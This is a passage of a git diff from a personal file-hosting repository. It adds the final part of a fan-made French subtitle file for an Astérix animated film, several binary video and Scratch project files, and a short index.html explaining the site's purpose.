quoi, ça? + +725 +01:06:10,716 --> 01:06:12,396 +Vite, Panoramix, vite! + +726 +01:06:35,785 --> 01:06:37,785 +Tu ne prends pas ton logement? + +727 +01:06:40,568 --> 01:06:42,248 +Vous les avez tous pris. + +728 +01:06:57,709 --> 01:06:59,643 +Pourquoi sont-ils éssouflées? + +729 +01:06:59,681 --> 01:07:01,615 +D'Habitude, ça arrive jamais. + +730 +01:07:04,452 --> 01:07:07,526 +Qu'est-ce qu'il vous faut pour +dire qu'ils n'ont pas la potion? + +731 +01:07:07,526 --> 01:07:08,526 +Un écriteau? + +732 +01:07:53,299 --> 01:07:55,499 +Qu'est-ce que c'est ce chantier!? + +733 +01:08:29,163 --> 01:08:31,721 +TU PENSES QUE JE SUIS +VENU ICI JUSTE POUR MANGER!? + +734 +01:08:32,410 --> 01:08:34,477 +Même pas une petite tartelette? + +735 +01:08:34,807 --> 01:08:36,066 +En voilà une, de tartelette! + +736 +01:08:36,151 --> 01:08:39,671 +Embarrasse-moi de toute +cette nouritture immédiatement! + +737 +01:08:51,315 --> 01:08:53,248 +Quand César dit "on jette"... + +738 +01:08:54,342 --> 01:08:55,342 +On jette. + +739 +01:08:56,110 --> 01:08:57,150 +[ il pleure ] + +740 +01:09:09,127 --> 01:09:10,946 +Arrétez-moi tout ce monde là! + +741 +01:09:17,334 --> 01:09:18,854 +Presque, presque... + +742 +01:09:29,098 --> 01:09:31,765 +Astérix, non! La potion n'est pas prête! + +743 +01:10:21,768 --> 01:10:26,312 +Tu as perdu, Gaulois. Cette fois, +Rome a été plus forte que ton peuple. + +744 +01:10:31,106 --> 01:10:37,557 +Je suis Astérix. Guerrier Gaulois. + +745 +01:10:38,383 --> 01:10:42,193 +C'est étrange, on m'avais dit que tous +les Gaulois étaient devenus Romains. + +746 +01:10:42,193 --> 01:10:43,633 +Mais ils le sont!! + +747 +01:10:46,533 --> 01:10:49,133 +Regarde, César! Ta victoire est totale! + +748 +01:10:49,570 --> 01:10:56,391 +Contemple tes prisonniers, la civilisation +des moustachus est enfin battue! + +749 +01:10:56,829 --> 01:11:02,793 +Et ce stupide petit guerrier arrogant va +maintenant rejoindre son gros complice... + +750 +01:11:02,793 --> 01:11:03,793 +Au cachot!! + +751 +01:11:19,689 --> 01:11:21,715 +Je ne suis pas... + +752 +01:11:21,715 --> 01:11:23,395 +GROOOOOOOOOOOOOOOOOOOOOS + +753 +01:11:34,739 --> 01:11:35,739 +On charge! + +754 +01:11:39,324 --> 01:11:40,324 +On charge!! + +755 +01:11:42,717 --> 01:11:44,517 +Chargeez s'il vous plait!!! + +756 +01:11:52,751 --> 01:11:55,084 +Ouvrez! Par ordre de César, ouvrez! + +757 +01:11:55,896 --> 01:11:57,576 +Il y a de l'aide dehors? + +758 +01:12:03,944 --> 01:12:05,624 +On peut dire ça, oui. + +759 +01:12:14,413 --> 01:12:15,413 +Tireeeez! + +760 +01:12:27,151 --> 01:12:28,831 +Ayez la gentillesse de-- + +761 +01:12:48,138 --> 01:12:49,498 +La touche finale. + +762 +01:13:02,605 --> 01:13:05,528 +VOUS NE PASSEREZ PAS!! + +763 +01:13:11,484 --> 01:13:14,218 +Ah. Ça va pas être la même limonade, là*. + +764 +01:13:41,485 --> 01:13:45,965 +Les amis! Il faut plus de liberté +menacé par les tentacules sournoies! + +765 +01:13:59,601 --> 01:14:03,569 +On espère que vous avez passé un moment agréable en Armorique. + +766 +01:14:12,733 --> 01:14:14,043 +Celui-là, Obélix, il est pour toi. + +767 +01:14:14,043 --> 01:14:16,635 +Ben évidemment qu'il est +pour moi, je l'ai vu en premier. + +768 +01:14:16,635 --> 01:14:18,772 +Attention, on croise! + +769 +01:14:26,680 --> 01:14:28,120 +RESAISISSEZ-VOUS!! + +770 +01:14:33,394 --> 01:14:35,067 +J'exige le nom d'un responsable! + +771 +01:14:35,067 --> 01:14:37,034 +Le responsable s'appele César, madame. + +772 +01:14:57,453 --> 01:14:58,751 +Mais qu'est-ce que tu fabriques? + +773 +01:14:58,751 --> 01:15:02,224 +C'est une longue histoire. Disons +que lorsque le chantier était terminé, + +774 +01:15:02,224 --> 01:15:06,192 +Il a fallu songer à une reconversion. +Et c'est là qu'on nous a proposés-- + +775 +01:15:06,866 --> 01:15:08,169 +Au bout d'un moment, ça va bien. + +776 +01:15:18,269 --> 01:15:20,807 +Wow...! Hercule! + +777 +01:15:37,630 --> 01:15:40,351 +Je ne sais pas ce que tu me +réserves, Gaulois, mais j'espère + +778 +01:15:40,351 --> 01:15:43,039 +que tu aura la dignité-- +Tu te trouves con de parler de dignité. + +779 +01:15:43,666 --> 01:15:43,987 +Comment? + +780 +01:15:44,299 --> 01:15:46,082 +Le coup du Domaine des +Dieux, ça ne te ressemble pas. + +781 +01:15:46,308 --> 01:15:49,226 +C'est sournoi, fourbe, et +calculé. Tu devrais avoir honte. + +782 +01:15:50,002 --> 01:15:52,909 +Tu sais, on essaie des trucs +hein, des fois ça marche... + +783 +01:15:52,909 --> 01:15:54,560 +- Des fois ça marche pas. + +784 +01:15:54,731 --> 01:15:57,762 +Tu vas retourner à Rome +et prendre les civils avec toi. + +785 +01:15:57,762 --> 01:15:59,969 +Je te rapelle qu'ils ont besoin +d'un appartement deluxe. + +786 +01:16:00,235 --> 01:16:05,453 +et...souviens toi qu'il y a un village en +Armorique qui te résistera pour toujours. + +787 +01:16:09,109 --> 01:16:10,109 +Soïte... + +788 +01:16:10,346 --> 01:16:12,594 +[ latin ] + +789 +01:16:12,594 --> 01:16:14,656 +Mais bon, on peut pas vivre +ici à chaque fois non plus. + +790 +01:16:14,656 --> 01:16:16,523 +Allez, tout le monde à Rome! + +791 +01:16:49,625 --> 01:16:54,777 +Mais on m'avais dit que j'était tombé +dans la potion magique quand j'étais petit. + +792 +01:16:54,777 --> 01:16:57,035 +Oui oui. On sait. Une petite goutte... + +793 +01:17:24,933 --> 01:17:28,869 +Merci pour tout, Astérix. +Rome va nous paraître plus vite maintenant. + +794 +01:17:29,440 --> 01:17:32,384 +Dis, Petiminus, un petit +souvenir d'Armorique. + +795 +01:17:32,733 --> 01:17:35,333 +Avec les compliments du druide Gaulois. + +796 +01:17:41,114 --> 01:17:43,181 +Tiens! Ça te fera une figurine. + +797 +01:17:43,641 --> 01:17:47,097 +Je suis désolé, c'est tout +ce que je pouvais sculpter. + +798 +01:18:04,549 --> 01:18:06,229 +Attention, un menhir! + +799 +01:18:06,716 --> 01:18:08,156 +Et voilà pour toi! + +800 +01:18:11,476 --> 01:18:16,656 +Le programme de ce soir, +c'est du fort, c'est du for-midable! + +801 +01:18:20,145 --> 01:18:22,659 +Le petit tout sec, tu +commences avec un coup au foin. + +802 +01:18:22,659 --> 01:18:26,657 +Après, tu te retournes vers le gros dégeu, +et tu luis fais une projection soleil. + +803 +01:18:26,657 --> 01:18:29,013 +On est d'accord que +c'est moi le gros dégeu? + +804 +01:18:29,013 --> 01:18:30,851 +Et hop, là! Le coup du rouge-gorge. + +805 +01:18:31,230 --> 01:18:34,097 +Et on y va mollo, pas comme l'entrainement? + +806 +01:18:34,134 --> 01:18:35,915 +C'est lequel, le coup du rouge-gorge? + +807 +01:18:35,915 --> 01:18:39,650 +Immobilisation, strangulation... +- On l'a déjà répété trois fois. + +808 +01:18:39,650 --> 01:18:42,826 +Si vous faites comme +l'entrainement, vous n'aurez pas mal. + +809 +01:18:42,826 --> 01:18:44,506 +On a mal à l'entrainment. + +810 +01:18:44,728 --> 01:18:45,728 +Faites-vous mal, alors. + +811 +01:18:49,986 --> 01:18:52,897 +On présente les glala... +les gladi... les gladiateurs! + +812 +01:18:53,752 --> 01:18:59,171 +[ tous ] Avé César! + +813 +01:19:13,791 --> 01:19:16,091 +DÉCROCHEZ-MOI DE LÀ!! + +814 +01:19:16,354 --> 01:19:18,687 +SINON LES LIONS POUR TOUT LE MONDE! + +815 +01:19:23,824 --> 01:19:26,962 +Magnifique. +- Il a vraiment un talent fou, Petiminus. + +816 +01:19:27,263 --> 01:19:29,263 +Il avait été gentils avec nous. + +817 +01:19:29,391 --> 01:19:31,080 +Même si c'est toujours pas le cas. + +818 +01:19:31,080 --> 01:19:34,376 +Ça y est! Les sarcasmes qui commencent! +- Je me déguiserai en Romain... + +819 +01:19:34,376 --> 01:19:37,258 +...c'est seulement pour +embaucher (l'ennemi). + +820 +01:19:37,258 --> 01:19:39,391 +Exact. +- Hé, on est en Gaule ici! + +821 +01:19:40,319 --> 01:19:41,847 +On se tiens bien à table! + +822 +01:19:41,847 --> 01:19:43,780 +Traitre! +- Qui est un traitre? + +823 +01:19:44,126 --> 01:19:45,126 +Invincible on est! + +824 +01:19:46,596 --> 01:19:48,196 +Irréductible on est! + +825 +01:20:17,198 --> 01:20:20,123 +Sous-titres faits par @Ponali + +826 +01:20:20,123 --> 01:20:23,071 +Je dois dire que faire 1 heure et 20 +minute de sous-titrage, j'ai pas pensé + +827 +01:20:23,071 --> 01:20:26,232 +que ça serait si long. En plus, il y a +des blagues où ils ne se comprennent + +828 +01:20:26,232 --> 01:20:29,378 +qu'en France, alors pour la partie +traduction de Français en Anglais, + +829 +01:20:29,378 --> 01:20:32,474 +Il y aura des parties qui ne seront pas +traduis correctement, et aucun moyen de + +830 +01:20:32,474 --> 01:20:35,420 +comprendre pourquoi ce film est rigolo. +Pour faire les sous-titres, j'ai d'abord + +831 +01:20:35,420 --> 01:20:38,642 +installé "Subtitle Edit". On a une histoire +à de quoi il faut télécharger ou pas, mais + +832 +01:20:38,642 --> 01:20:41,775 +je ne vais pas expliquer cela ici. Le +processus faisait 3 jours, et je faisait + +833 +01:20:41,775 --> 01:20:45,064 +gaffe à ce que je faisait pour qu'ils ne +sachent pas que j'ai téléchargé un logiciel + +834 +01:20:45,064 --> 01:20:48,313 +et que je pourrais faire des +problèmes de droits d'auteur. + +835 +01:20:48,313 --> 01:20:51,340 +Pour plus d'information sur le sous-titrage +trouvez-moi sur Discord avec @ponali + +836 +01:20:51,340 --> 01:20:54,548 +Si vous êtes interessé, vous pouvez voir +ma chaîne YouTube: @ponali.mememaker + +837 +01:20:54,548 --> 01:20:57,714 +Ceci est mon film préféré et +j'espère que vous avez tout compris. + +838 +01:20:57,714 --> 01:21:00,797 + + +839 +01:21:00,797 --> 01:21:03,864 + + +840 +01:21:03,864 --> 01:21:05,544 + diff --git a/files/jsart/videos/meow.mp4 b/files/jsart/videos/meow.mp4 new file mode 100644 index 0000000..bc1b3d1 Binary files /dev/null and b/files/jsart/videos/meow.mp4 differ diff --git a/files/jsart/videos/my-honest-reaction.webm b/files/jsart/videos/my-honest-reaction.webm new file mode 100644 index 0000000..2921bb3 Binary files /dev/null and b/files/jsart/videos/my-honest-reaction.webm differ diff --git a/files/jsart/videos/output-hard-drive.mp4 b/files/jsart/videos/output-hard-drive.mp4 new file mode 100644 index 0000000..3e9cfff Binary files /dev/null and b/files/jsart/videos/output-hard-drive.mp4 differ diff --git a/files/jsart/videos/outputmayo.mp4 b/files/jsart/videos/outputmayo.mp4 new file mode 100644 index 0000000..652789a Binary files /dev/null and b/files/jsart/videos/outputmayo.mp4 differ diff --git a/files/jsart/videos/outputstewie.mp4 b/files/jsart/videos/outputstewie.mp4 new file mode 100644 index 0000000..653292c Binary files /dev/null and b/files/jsart/videos/outputstewie.mp4 differ diff --git a/files/jsart/videos/outputwii.mp4 b/files/jsart/videos/outputwii.mp4 new file mode 100644 index 0000000..532bcaa Binary files /dev/null and b/files/jsart/videos/outputwii.mp4 differ diff --git a/files/lv-audio-test.sb3 b/files/lv-audio-test.sb3 new file mode 100644 index 0000000..0ec765e Binary files /dev/null and b/files/lv-audio-test.sb3 differ diff --git a/files/to_cloud_test_alpha_release.sb3 b/files/to_cloud_test_alpha_release.sb3 new file mode 100644 index 0000000..4af3db0 Binary files /dev/null and b/files/to_cloud_test_alpha_release.sb3 differ diff --git a/index.html b/index.html index da8d202..c2f55ff 100644 --- a/index.html +++ b/index.html @@ -1,6 +1,7 @@ -

Hello world! this page is currently in construction, so hold on.
oh and sorry about the white background, i didnt set any css

+ +

this page is meant for letting people see my project files publically so that they work with an internet connection for them to be easy to use.
i didn't have a choice making this website since the other one was starting to stop being free
i didn't have a choice making this index.html file either, since thats a thing that github wants for the website to work.
for a list of files, go to the repo page here.

\ No newline at end of file